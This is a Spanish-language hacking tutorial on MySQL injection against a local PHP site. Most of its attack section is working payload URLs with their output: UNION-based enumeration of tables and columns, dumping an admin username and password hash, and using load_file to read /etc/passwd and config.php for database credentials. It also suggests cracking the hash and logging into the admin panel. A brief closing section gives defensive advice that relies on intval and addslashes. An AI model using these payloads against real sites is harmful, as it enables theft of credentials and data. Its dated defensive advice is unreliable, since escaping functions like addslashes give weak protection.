MySQL Injection

Indice

- Introduccion
- Atacando
1.- Detectando la vulnerabilidad
2.- Obteniendo el numero de columnas
3.- Buscando el nombre de tablas
4.- Buscando el nombre de las columnas de una tabla
5.- Obteniendo datos de las tablas
6.- Funcion Load_file
- Defendiendonos

Extras - Descargar

- Sitio Web vulnerable a MySQL Injection
- Codigo Fuente de un Convertidor de Texto a Hexadecimal



Introduccion

Inyeccion SQL es una vulnerabilidad informatica en el nivel de la validacion de las entradas a la base de datos de una aplicacion. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con codigo SQL. Es, de hecho, un error de una clase mas general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que este incrustado dentro de otro.
Una inyeccion SQL sucede cuando se inserta o "inyecta" un codigo SQL "invasor" dentro de otro codigo SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el codigo "invasor" en la base de datos.

Fuente : Wikipedia

Atacando

1.- Detectando la vulnerabilidad

* Verificar si podemos modificar la consulta
- Utilizaremos caracteres logicos , para modificar las consultas de un sitio web

Andamos viendo un post supongamos , y andamos en la sgte. direccion :
http://localhost/index.php?idpost=2

Analizando un poco ...
Variable : idpost
- Pasa el valor de la ID del post (logico no xD) , entonces para que el sitio web muestre el post que andamos viendo necesita que se le pase ese valor , para luego hacer una consulta a la base de datos .

Ahora veremos si podemos injectar codigo en esa consulta a traves de la variable
http://localhost/index.php?idpost=2 AND 1=0

Consulta original:
select * from tabla where id=2 => devuelve el contenido del post con id igual a 2
Consulta alterada:
select * from tabla where id=2 AND 1=0 => Es falso entonces el sitio web no mostrara nada en pantalla

-En caso que muestre el post , la web no es vulnerable ...

Verificamos una vez mas si podemos modificar la consulta :
http://localhost/index.php?idpost=2 AND 1=1

Consulta alterada:
select * from tabla where id=2 AND 1=1 => Es verdadero , entonces mostrara el post que tenga como ID=2

Comprobamos que la web es vulnerable a injeccion mysql , pero hay dos tipos la clasica (la que vamos a usar xD)
y la injeccion a ciegas (Blind Injection)

Para verificar que tipo de injeccion usamos agregamos una comilla simple al final del valor de la variable :

http://localhost/index.php?idpost=2'

Tambien pueden probar de las sgtes maneras :
http://localhost/index.php?idpost=2) --
http://localhost/index.php?idpost=2') --

Resultado :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

- Si no obtenemos el error es muy probable que sea una injeccion a ciegas ...


2.- Obteniendo el numero de columnas

* Utilizando la sentencia "order by"
Con esta sentencia obetenemos un error cuando el numero columnas no exista (sea mayor al numero de columnas)

http://localhost/index.php?idpost=2 order by [El numero de columnas que creas]-

Ejemplo :
Numero de Columnas : 5

http://localhost/index.php?idpost=2 order by 3 => Todo normal 3 es menor que 5
http://localhost/index.php?idpost=2 order by 5 => Todo normal 5 es igual a 5
http://localhost/index.php?idpost=2 order by 6 => Error 6 es mayor que 5
Error : Unknown column '6' in 'order clause'

Hasta el 5 , todo bien , cuando pusimos 6 salio error entonces el numero de columnas es 5 ...

- A veces no funciona este metodo debido a que desactivan los errores , asi que no sabremos cuando dejara de existir el numero de columnas que ingresamos xD.

*Modo usual

http://localhost/index.php?idpost=-2 union select 1,2,3,....,n

Probamos desde 1 hasta un cierto numero hasta que no muestre error
Ejemplo :
http://localhost/index.php?idpost=-2 union select 1--
The used SELECT statements have a different number of columns

http://localhost/index.php?idpost=-2 union select 1,2--
The used SELECT statements have a different number of columns

http://localhost/index.php?idpost=-2 union select 1,2,3--
The used SELECT statements have a different number of columns

http://localhost/index.php?idpost=-2 union select 1,2,3,4--
The used SELECT statements have a different number of columns

http://localhost/index.php?idpost=-2 union select 1,2,3,4,5--
No muestra error

-Mayormente apareceran algunos "numeros" en las partes del post (en este caso , ya que la consulta a la cual estamos injectando devuelve resultados de las partes de un post) , estos numeros son las columnas vulnerables , es decir , aquellos numeros son los que reemplazaremos en la injeccion para obtener informacion .
Ejemplo :


3.- Buscando el nombre de tablas

* Con information_schema
- Funciona siempre y cuando la version del MySQL sea 5 o mas.

Obteniendo la version de MySQL :
Consulta : select version(),2,3,...,n

En nuestro caso :
http://localhost/index.php?idpost=-2 union select version(),2,3,4,5--

En caso que tengan problemas en obtener la version de MySQL, pueden usar estas consultas :
http://localhost/index.php?idpost=-2 union select convert(version() using latin1),2,3,4,5--
http://localhost/index.php?idpost=-2 union select unhex(hex(version())),2,3,4,5--

Resultado :
5.0.51b-community-nt
- Verificando el funcionamiento :
Consulta : select 1,2,...,n from information_schema.tables

En nuestro caso
http://localhost/index.php?idpost=-2 union select 1,2,3,4,5 from information_schema.tables--

Si todo va bien nos aparecen los "numeros" como nos aparecieron antes (como cuando encontramos el numero de columnas)

Ahora extraeremos el nombre de todas las tablas :
http://localhost/index.php?idpost=-2 union select group_concat(table_name),2,3,4,5 from information_schema.tables--

Resultado :
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,
KEY_COLUMN_USAGE,PROFILING,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,STATISTICS,TABLES,TABLE_CONSTRAINTS,
TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGES,VIEWS,cds,keywords,pages,stories,writer_permissions,writers,secret_admin,
website


Las tablas que nos interesan son : website , secret_admin
Por logica , la tablas "website" contendra informacion del sitio web , y la tabla "secret_admin" datos sobre los administradores

Pero para los ejemplos tomaremos la tabla : secret_admin

*Modo Usual
- Probando nombre de tablas , cuando no nos muestre error es porque encontramos el nombre de la tabla , este metodo es el que usan los scanners .

Ejemplo :
http://localhost/index.php?idpost=-2 union select 1,2,3,4,5 from users--
Table 'web.users' doesn't exist
http://localhost/index.php?idpost=-2 union select 1,2,3,4,5 from admin--
Table 'web.admin' doesn't exist
http://localhost/index.php?idpost=-2 union select 1,2,3,4,5 from administrador--
Table 'web.administrador' doesn't exist
http://localhost/index.php?idpost=-2 union select 1,2,3,4,5 from secret_admin--
=> dudo que se les ocurra ese nombre de tabla
No hay error , por lo tanto la tabla es secret_admin xD

4.- Buscando el nombre de las columnas de una tabla

* Con information_schema
Consulta : select 1,2,...,n from information_schema.columns where table_name=[nombre de la tabla en hexadecimal]

secret_admin en hexadecimal : 0x7365637265745F61646D696E

En nuestro caso :
http://localhost/index.php?idpost=-2 union select 1,2,3,4,5 from information_schema.columns where table_name=0x7365637265745F61646D696E--

Extraemos el nombre de todas las columnas asi :
http://localhost/index.php?idpost=-2 union select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x7365637265745F61646D696E--

Resultado :
id,secret_user,pass_secret
*Modo Usual
Al igual que el metodo usual para buscar el nombre de las tablas
Ejemplo :
http://localhost/index.php?idpost=-2 union select user,2,3,4,5 from secret_admin--
Unknown column 'user' in 'field list'
http://localhost/index.php?idpost=-2 union select admin,2,3,4,5 from secret_admin--
Unknown column 'admin' in 'field list'
http://localhost/index.php?idpost=-2 union select secret_user,2,3,4,5 from secret_admin--
No hay error , por lo tanto el nombre de una de las columnas de la tabla "secret_admin" es "secret_user"

5.- Obteniendo datos de las tablas
Consulta : select [nombre_de_la columna],2,3,...,n from [nombre_de_la_tablas]

En nuestro caso :
http://localhost/index.php?idpost=-2 union select secret_user,2,3,4,5 from secret_admin--

Extrayendo todos los datos de las columnas con una consulta :
Consulta :
select concat_ws([nexo_de_los_resultados_en_hexadecimal],[nombre_de_columna1],...,[nombre_de_columna_n),2,3,...n from [nombre_de_tabla]--

Nexo mas usual => ' : ' en hex '0x3a'

En nuestro caso :
http://localhost/index.php?idpost=-2 union select concat_ws(0x3a,id,secret_user,pass_secret),2,3,4,5 from secret_admin--

Resultado :
1:admin:659f10281a6c120caf80331c9ea954d8
- Lo unico que nos quedaria seria crackear el hash del admin , luego buscar el panel de administracion y logearnos ...

6.- Funcion Load_file
Esta funcion nos permite leer archivos , no siempre esta disponible debido a los permisos de usuario.
A esta funcion se le pasa el parametro de la ruta del archivo que queremos leer y nos lo devuelve en una cadena.

Consulta : select load_file('ruta_del_archivo')
En una injeccion : select load_file([ruta_del_archivo_en_hexadecimal])
-Convertimos la ruta del archivo a hexadecimal debido a que no podemos usar las comillas , debido a las magic_quotes_gpc que estan activadas por defecto en PHP5 .

/etc/passwd => 0x2F6574632F706173737764

En nuestro caso :
http://localhost/index.php?idpost=-2 union select load_file(0x2F6574632F706173737764),2,3,4,5--

Resultado :
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
..............


Supongamos que tenemos la ruta de la web : /opt/lampp/htdocs/website/
Podriamos buscar archivos comencemos por el index.php que es lo que no le falta a ninguna web xD

/opt/lampp/htdocs/website/index.php => 0x2F6F70742F6C616D70702F6874646F63732F776562736974652F696E6465782E706870

http://localhost/index.php?idpost=-2 union select load_file(0x2F6F70742F6C616D70702F6874646F63732F776562736974652F696E6465782E706870),2,3,4,5--

Resultado :
<?php
include_once("config.php");
include_once("functions.php");
................
?>


Como vemos conseguimos el nombre de otros archivos , revisemos el config.php

config.php => 0x2F6F70742F6C616D70702F6874646F63732F776562736974652F636F6E6669672E706870

http://localhost/index.php?idpost=-2 union select load_file(0x2F6F70742F6C616D70702F6874646F63732F776562736974652F636F6E6669672E706870),2,3,4,5--

Resultado :
<?php
$connection=mysql_connect("localhost","root","password");
mysql_select_db("website",$connection);
?>


- Asi obtuvimos lo datos de mysql xD , y pueden buscar mas cosas es cuestion de pensar un poco , analizar las cosas y tener mucha paciencia
- A veces no podemos mostrar el contenido de los archivos .php debido a que probablemente usen para mostrar los contenidos funciones como htmlentites , htmlspecialchars , entre otras ...

Defendiendonos

* Filtrar los datos
- Si la aplicacion espera alguna entrada numérica, considere la verificación de información con is_numeric(), o modifique silenciosamente su tipo usando settype() para asegurarnos del tipo de variable que queremos manejar sea el correcto.
Ejemplo :
http://localhost/index.php?idpost=2

La variable "idpost" siempre sera un valor numero entonces nos aseguraremos que manejamos el tipo de variable correcto con la funcion intval :

$id=intval($_GET['idpost]);

Function intval :
Devuelve el valor integer de var , usando la base especificada para la conversión (la base predeterminada es 10).

Valores retornados
El valor entero de var en caso de exito, o 0 si ocurre un error. Las matrices y objetos vacíos devuelven 0, las matrices y objetos no-vacíos devuelven 1.
- Usando str_replace o expresiones regulares
- En caso de no estar activadas las "magic_quotes_gpc" , deben utilizar funciones como addslashes() o mysql_escape_string() , para filtrar las comillas

Mas Informacion :
PHP.NET > Seguridad > Seguridad de Base de Datos > Inyeccion de SQL > Tecnicas de Proteccion
=> No puse el enlace porque el tutorial esta inactivo asi que si lo tienen en documento revisenlo =)

Saludos!

Este tutorial se puede copiar, modificar y distribuir respetando el autor